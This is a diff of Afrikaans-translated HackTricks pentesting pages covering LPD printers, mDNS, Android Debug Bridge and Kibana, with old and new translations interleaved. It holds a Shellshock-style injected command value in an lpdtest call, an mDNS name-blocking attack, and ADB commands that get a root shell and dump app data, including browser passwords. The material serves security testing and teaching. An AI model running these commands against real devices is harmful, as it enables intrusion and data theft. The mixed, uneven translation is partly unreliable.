In die 1980's is die **Line Printer Daemon (LPD) protokol** ontwikkel in Berkeley Unix, wat later geformaliseer is deur RFC1179. Hierdie protokol werk oor poort 515/tcp en maak interaksies moontlik deur die `lpr`-opdrag. Die essensie van drukwerk via LPD behels die stuur van 'n **beheerlêer** (om werksbesonderhede en gebruiker te spesifiseer) saam met 'n **data-lêer** (wat die drukinligting bevat). Terwyl die beheerlêer die keuse van **verskeie lêerformate** vir die data-lêer moontlik maak, word die hantering van hierdie lêers bepaal deur die spesifieke LPD-implementering. 'n Wyd erkenning implementering vir Unix-soortgelyke stelsels is **LPRng**. Merkwaardig kan die LPD-protokol uitgebuit word om **skadelike PostScript** of **PJL-drukwerkopdragte** uit te voer.
|
||||
In die 1980's is die **Line Printer Daemon (LPD) protokol** ontwikkel in Berkeley Unix, wat later deur RFC1179 geformaliseer is. Hierdie protokol werk oor poort 515/tcp, wat interaksies deur die `lpr` opdrag moontlik maak. Die essensie van druk via LPD behels die stuur van 'n **beheerlêer** (om werksbesonderhede en gebruiker te spesifiseer) saam met 'n **data lêer** (wat die drukinligting bevat). Terwyl die beheerlêer die keuse van **verskeie lêerformate** vir die datalêer toelaat, word die hantering van hierdie lêers bepaal deur die spesifieke LPD implementering. 'n Algemeen erkende implementering vir Unix-agtige stelsels is **LPRng**. Opmerklik is dat die LPD protokol uitgebuit kan word om **kwaadwillige PostScript** of **PJL drukwerk** uit te voer.
|
||||
|
||||
### **Hulpmiddels vir interaksie met LPD-drukkers**
|
||||
### **Gereedskap vir Interaksie met LPD Drukkers**
|
||||
|
||||
[**PRET**](https://github.com/RUB-NDS/PRET) stel twee essensiële hulpmiddels bekend, `lpdprint` en `lpdtest`, wat 'n eenvoudige metode bied om met LPD-verenigbare drukkers te interaksieer. Hierdie hulpmiddels maak 'n verskeidenheid aksies moontlik, van die druk van data tot die manipulering van lêers op die drukker, soos aflaai, oplaai of verwyder:
|
||||
[**PRET**](https://github.com/RUB-NDS/PRET) stel twee noodsaaklike gereedskap bekend, `lpdprint` en `lpdtest`, wat 'n eenvoudige metode bied om met LPD-ondersteunde drukkers te kommunikeer. Hierdie gereedskap stel 'n reeks aksies in staat, van die druk van data tot die manipulasie van lêers op die drukker, soos aflaai, oplaai of verwyder:
|
||||
```python
|
||||
# To print a file to an LPD printer
|
||||
lpdprint.py hostname filename
|
||||
|
@ -33,23 +34,24 @@ lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
|
|||
# To send a mail through the printer
|
||||
lpdtest.py hostname mail lpdtest@mailhost.local
|
||||
```
|
||||
Vir individue wat belangstel om die wêreld van **drukkerhacking** verder te verken, kan 'n omvattende bron hier gevind word: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
Vir individue wat belangstel om die wêreld van **printer hacking** verder te verken, kan 'n omvattende hulpbron hier gevind word: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
|
||||
# Shodan
|
||||
|
||||
* `poort 515`
|
||||
* `port 515`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,66 +1,66 @@
|
|||
# 5353/UDP Multicast DNS (mDNS) en DNS-SD
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Basiese Inligting**
|
||||
|
||||
**Multicast DNS (mDNS)** maak **DNS-agtige operasies** binne plaaslike netwerke moontlik sonder 'n tradisionele DNS-bediener. Dit werk op **UDP-poort 5353** en stel toestelle in staat om mekaar en hul dienste te ontdek, wat dikwels gesien word in verskeie IoT-toestelle. **DNS Service Discovery (DNS-SD)**, dikwels saam met mDNS gebruik, help om dienste wat beskikbaar is op die netwerk te identifiseer deur middel van standaard DNS-navrae.
|
||||
**Multicast DNS (mDNS)** stel **DNS-agtige operasies** in staat binne plaaslike netwerke sonder die behoefte aan 'n tradisionele DNS-bediener. Dit werk op **UDP-poort 5353** en laat toestelle toe om mekaar en hul dienste te ontdek, wat algemeen gesien word in verskeie IoT-toestelle. **DNS-diensontdekking (DNS-SD)**, wat dikwels saam met mDNS gebruik word, help om dienste wat op die netwerk beskikbaar is te identifiseer deur standaard DNS-vrae.
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5353/udp open zeroconf
|
||||
```
|
||||
### **Operasie van mDNS**
|
||||
### **Bedryf van mDNS**
|
||||
|
||||
In omgewings sonder 'n standaard DNS-bediener, maak mDNS dit moontlik vir toestelle om domeinname wat eindig met **.local** op te los deur die multicast-adres **224.0.0.251** (IPv4) of **FF02::FB** (IPv6) te ondervra. Belangrike aspekte van mDNS sluit 'n **Tyd-tot-Leef (TTL)** waarde in wat die geldigheid van rekords aandui en 'n **QU-bit** wat onderskei tussen unicast- en multicast-navrae. Wat sekuriteit betref, is dit noodsaaklik vir mDNS-implementasies om te verseker dat die bronadres van die pakkie ooreenstem met die plaaslike subnet.
|
||||
In omgewings sonder 'n standaard DNS-bediener, laat mDNS toestelle toe om domeinnames wat eindig op **.local** is, op te los deur die multicast adres **224.0.0.251** (IPv4) of **FF02::FB** (IPv6) te vra. Belangrike aspekte van mDNS sluit 'n **Tyd-tot-lewe (TTL)** waarde in wat die geldigheid van rekords aandui en 'n **QU bit** wat onderskei tussen unicast en multicast vrae. Veiligheidsoorweg is dit van kardinale belang dat mDNS-implementasies verifieer dat die bronadres van die pakket ooreenstem met die plaaslike subnet.
|
||||
|
||||
### **Funksionering van DNS-SD**
|
||||
|
||||
DNS-SD fasiliteer die ontdekking van netwerkdienste deur te ondervra vir aanwysingsrekords (PTR) wat dienssoorte aan hul instansies koppel. Dienste word geïdentifiseer deur 'n **_\<Diens>.\_tcp of \_\<Diens>.\_udp** patroon binne die **.local** domein, wat lei tot die ontdekking van ooreenstemmende **SRV** en **TXT-rekords** wat gedetailleerde diensinligting verskaf.
|
||||
DNS-SD fasiliteer die ontdekking van netwerkdienste deur te vra vir wysigingsrekords (PTR) wat diens tipes aan hul instansies koppel. Dienste word geïdentifiseer met behulp van 'n **_\<Service>.\_tcp of \_\<Service>.\_udp** patroon binne die **.local** domein, wat lei tot die ontdekking van ooreenstemmende **SRV** en **TXT rekords** wat gedetailleerde diens inligting verskaf.
|
||||
|
||||
### **Netwerkverkenning**
|
||||
### **Netwerk Verkenning**
|
||||
|
||||
#### **nmap Gebruik**
|
||||
|
||||
'n Nuttige opdrag vir die skandering van die plaaslike netwerk vir mDNS-dienste is:
|
||||
'n Nuttige opdrag om die plaaslike netwerk vir mDNS-dienste te skandeer is:
|
||||
```bash
|
||||
nmap -Pn -sUC -p5353 [target IP address]
|
||||
```
|
||||
Hierdie bevel help om oop mDNS-poorte te identifiseer en die dienste wat oor hulle geadverteer word.
|
||||
Hierdie opdrag help om oop mDNS-poorte en die dienste wat oor hulle geadverteer word, te identifiseer.
|
||||
|
||||
#### **Netwerkopname met Pholus**
|
||||
#### **Netwerkopsporing met Pholus**
|
||||
|
||||
Om aktief mDNS-versoeke te stuur en verkeer vas te vang, kan die **Pholus**-instrument as volg gebruik word:
|
||||
Om aktief mDNS-versoeke te stuur en verkeer te vang, kan die **Pholus**-instrument soos volg gebruik word:
|
||||
```bash
|
||||
sudo python3 pholus3.py [network interface] -rq -stimeout 10
|
||||
```
|
||||
## Aanvalle
|
||||
|
||||
### **Exploitering van mDNS Probing**
|
||||
### **Benutting van mDNS Probing**
|
||||
|
||||
'n Aanvalvektor behels die stuur van vervalsde reaksies na mDNS-probes, wat aandui dat alle potensiële name reeds in gebruik is, en sodoende nuwe toestelle verhinder om 'n unieke naam te kies. Dit kan uitgevoer word deur gebruik te maak van:
|
||||
'n Aanvalsvlak behels die stuur van vervalste antwoorde na mDNS probes, wat suggereer dat alle potensiële name reeds in gebruik is, en dus nuwe toestelle verhinder om 'n unieke naam te kies. Dit kan uitgevoer word met:
|
||||
```bash
|
||||
sudo python pholus.py [network interface] -afre -stimeout 1000
|
||||
```
|
||||
Hierdie tegniek blokkeer effektief nuwe toestelle om hul dienste op die netwerk te registreer.
|
||||
|
||||
**Opsomming**: Dit is noodsaaklik om die werking van mDNS en DNS-SD te verstaan vir netwerkbestuur en -veiligheid. Gereedskap soos **nmap** en **Pholus** bied waardevolle insigte in plaaslike netwerkdienste, terwyl bewustheid van potensiële kwesbaarhede help om teen aanvalle te beskerm.
|
||||
|
||||
**In opsomming**, is dit van kardinale belang om die werking van mDNS en DNS-SD te verstaan vir netwerkbestuur en sekuriteit. Gereedskap soos **nmap** en **Pholus** bied waardevolle insigte in plaaslike netwerkdienste, terwyl bewustheid van potensiële kwesbaarhede help om teen aanvalle te beskerm.
|
||||
|
||||
### Spoofing/MitM
|
||||
|
||||
Die mees interessante aanval wat jy oor hierdie diens kan uitvoer, is om 'n **MitM** in die **kommunikasie tussen die kliënt en die regte bediener** uit te voer. Jy mag dalk gevoelige lêers (MitM die kommunikasie met die drukker) of selfs geloofsbriewe (Windows-verifikasie) verkry.\
|
||||
Die mees interessante aanval wat jy oor hierdie diens kan uitvoer, is om 'n **MitM** in die **kommunikasie tussen die kliënt en die werklike bediener** uit te voer. Jy mag in staat wees om sensitiewe lêers (MitM die kommunikasie met die drukker) of selfs akrediteer (Windows-outeentifikasie) te verkry.\
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
||||
|
@ -71,16 +71,17 @@ Vir meer inligting, kyk:
|
|||
|
||||
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,34 @@
|
|||
# 5555 - Android Debug Bridge
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
## Basic Information
|
||||
|
||||
Vanaf [die dokumentasie](https://developer.android.com/studio/command-line/adb):
|
||||
Van [die dokumentasie](https://developer.android.com/studio/command-line/adb):
|
||||
|
||||
**Android Debug Bridge** (adb) is 'n veelsydige opdraglynhulpmiddel wat jou in staat stel om met 'n toestel te kommunikeer. Die adb-opdrag fasiliteer 'n verskeidenheid toestelaksies, soos die **installeer en foutopsporing van programme**, en dit bied **toegang tot 'n Unix-skil** wat jy kan gebruik om 'n verskeidenheid opdragte op 'n toestel uit te voer.
|
||||
**Android Debug Bridge** (adb) is 'n veelsydige opdraglyn hulpmiddel wat jou toelaat om met 'n toestel te kommunikeer. Die adb opdrag fasiliteer 'n verskeidenheid toestel aksies, soos i**nstalleer en debugg apps**, en dit bied **toegang tot 'n Unix shell** wat jy kan gebruik om 'n verskeidenheid opdragte op 'n toestel uit te voer.
|
||||
|
||||
**Verstekpoort**: 5555.
|
||||
**Standaard poort**: 5555.
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
|
||||
```
|
||||
## Koppel
|
||||
## Connect
|
||||
|
||||
As jy die ADB-diens vind wat op 'n poort van 'n toestel loop en jy kan daarmee koppel, **kan jy 'n skulp binne die stelsel kry:**
|
||||
As jy die ADB-diens in 'n poort van 'n toestel vind en jy kan daaraan koppel, **kan jy 'n shell binne die stelsel kry:**
|
||||
```bash
|
||||
adb connect 10.10.10.10
|
||||
adb root # Try to escalate to root
|
||||
|
@ -39,31 +40,32 @@ Vir meer ADB-opdragte, kyk na die volgende bladsy:
|
|||
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Stort App-data
|
||||
### Dump App data
|
||||
|
||||
Om die data van 'n toepassing heeltemal af te laai, kan jy die volgende doen:
|
||||
Om die data van 'n toepassing heeltemal af te laai, kan jy:
|
||||
```bash
|
||||
# From a root console
|
||||
chmod 777 /data/data/com.package
|
||||
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
|
||||
adb pull "/sdcard/com.package"
|
||||
```
|
||||
Jy kan hierdie truuk gebruik om **sensitiewe inligting soos Chrome-wagwoorde** te herwin. Vir meer inligting hieroor, kyk na die inligting en verwysings wat [**hier**](https://github.com/carlospolop/hacktricks/issues/274) verskaf word.
|
||||
You can use this trick to **herwin sensitiewe inligting soos chrome wagwoorde**. For more info about this check the information a references provided [**here**](https://github.com/carlospolop/hacktricks/issues/274).
|
||||
|
||||
## Shodan
|
||||
|
||||
* `android debug bridge`
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,36 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Basiese Inligting
|
||||
|
||||
Kibana is bekend vir sy vermoë om data binne Elasticsearch te soek en te visualiseer, tipies op poort **5601**. Dit dien as die koppelvlak vir die monitering, bestuur en sekuriteitsfunksies van die Elastic Stack-klasters.
|
||||
Kibana is bekend vir sy vermoë om data binne Elasticsearch te soek en te visualiseer, wat tipies op poort **5601** loop. Dit dien as die koppelvlak vir die Elastic Stack-kluster se monitering, bestuur en sekuriteitsfunksies.
|
||||
|
||||
## Begrip van Verifikasie
|
||||
## Verstaan van Verifikasie
|
||||
|
||||
Die verifikasieproses in Kibana is inherent gekoppel aan die **legitimasie wat in Elasticsearch gebruik word**. As Elasticsearch verifikasie gedeaktiveer het, kan Kibana sonder enige legitimasie benader word. Omgekeerd, as Elasticsearch beveilig is met legitimasie, is dieselfde legitimasie nodig om Kibana te benader, met behoud van identiese gebruikersregte oor beide platforms. Legitimasie kan gevind word in die **/etc/kibana/kibana.yml**-lêer. As hierdie legitimasie nie betrekking het op die **kibana_system**-gebruiker nie, kan dit wyer toegangsregte bied, aangesien die toegang van die kibana_system-gebruiker beperk is tot monitering-API's en die .kibana-indeks.
|
||||
Die proses van verifikasie in Kibana is inherent gekoppel aan die **akkrediteer wat in Elasticsearch gebruik word**. As Elasticsearch se verifikasie gedeaktiveer is, kan Kibana sonder enige akkrediteer toegang verkry. Omgekeerd, as Elasticsearch met akkrediteer beveilig is, is dieselfde akkrediteer nodig om toegang tot Kibana te verkry, wat identiese gebruikersregte oor albei platforms handhaaf. Akkrediteer kan in die **/etc/kibana/kibana.yml** lêer gevind word. As hierdie akkrediteer nie betrekking het op die **kibana_system** gebruiker nie, kan dit breër toegangregte bied, aangesien die toegang van die kibana_system gebruiker beperk is tot monitering API's en die .kibana-indeks.
|
||||
|
||||
## Aksies na Toegang
|
||||
## Aksies By Toegang
|
||||
|
||||
Sodra toegang tot Kibana verseker is, word verskeie aksies aanbeveel:
|
||||
Sodra toegang tot Kibana beveilig is, is verskeie aksies raadsaam:
|
||||
|
||||
- Die verkenning van data uit Elasticsearch moet 'n prioriteit wees.
|
||||
- Die vermoë om gebruikers te bestuur, insluitend die wysiging, verwydering of skepping van nuwe gebruikers, rolle of API-sleutels, word gevind onder Stack Bestuur -> Gebruikers/Rolle/API-sleutels.
|
||||
- Dit is belangrik om die geïnstalleerde weergawe van Kibana vir bekende kwesbaarhede te kontroleer, soos die RCE-kwesbaarheid wat geïdentifiseer is in weergawes voor 6.6.0 ([Meer Inligting](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
|
||||
- Om data van Elasticsearch te verken, moet 'n prioriteit wees.
|
||||
- Die vermoë om gebruikers te bestuur, insluitend die redigering, verwydering of skepping van nuwe gebruikers, rolle of API-sleutels, is onder Stack Management -> Users/Roles/API Keys te vind.
|
||||
- Dit is belangrik om die geïnstalleerde weergawe van Kibana te kontroleer vir bekende kwesbaarhede, soos die RCE kwesbaarheid wat in weergawes voor 6.6.0 geïdentifiseer is ([Meer Inligting](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
|
||||
|
||||
## SSL/TLS-oorwegings
|
||||
## SSL/TLS Oorwegings
|
||||
|
||||
